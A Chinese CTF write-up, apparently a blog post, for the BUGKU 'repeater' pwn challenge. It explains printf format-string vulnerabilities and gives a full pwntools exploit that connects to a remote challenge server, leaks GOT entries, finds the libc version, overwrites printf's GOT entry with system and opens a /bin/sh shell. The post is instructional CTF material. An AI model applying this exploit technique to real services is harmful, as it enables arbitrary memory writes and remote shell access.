BUGKU repeater

printf格式化字符串漏洞

1.printf的第一个参数中可以指定打印后续各个参数的格式

2."%5$p" 表示以%p的格式输出第五个参数

3."%7$n"表示将截止到%前已输出的字符个数写入到第7个参数指向的内存地址

4."%88c"输出88个字符'c'

5.32位程序中,printf的参数在均在stack上,最后入栈的是第一个参数

6.64位程序中,printf前6个参数在rdirsirdxrcxr8r9上

7.fmtstr_payload(7, {addr: v}),在偏移量为7的情况下构造输入使得addr地址所指向的内存被写成v

所以printf可以实现任意内存的读写

步骤如下:

0. 通过手动构造输入确定输入字符串位于第几个参数的位置

1. 构造输入p32(put_got)+b'BBB%6$sAAA'泄露got表内容(需要注意,最终得到的输出不一定是以AAA结尾,因为输入字符串不是以\x00结尾,屁股后面可能跟了其他东西)

2. 根据got内容推测libc版本,根据libc版本确定system地址

3. 修改got表使得调用printf时变成调用system

from pwn import *

# step 1:获取put和read函数的地址
sh = remote('114.67.175.224', 11666)
put_got = 0x804a018
payload = p32(put_got) + b'BBB%6$sAAA'
sh.sendafter('ater?\n',payload)
sh.recvuntil('BBB')
put_addr = u32(sh.recv(4))
read_got = 0x804a010
payload = p32(read_got) + b'BBB%6$sAAA'
sh.send(payload)
sh.recvuntil('BBB')
read_addr = u32(sh.recv(4))

# step 2:搜索libc版本并获取system函数地址
printf_got = 0x804a014
from LibcSearcher import *
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", put_addr)
libc_base_addr = put_addr - libc.dump('puts')
system_addr = libc_base_addr + libc.dump("system")
printf_addr = libc_base_addr + libc.dump("printf")
print(hex(system_addr))
print(hex(printf_addr))

# step3:将printf的got表的指向修改为system函数地址,并传入bash字符串
payload = fmtstr_payload(6, {printf_got: system_addr})
print(payload)
sh.send(payload)
sh.send('/bin/sh;')
sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值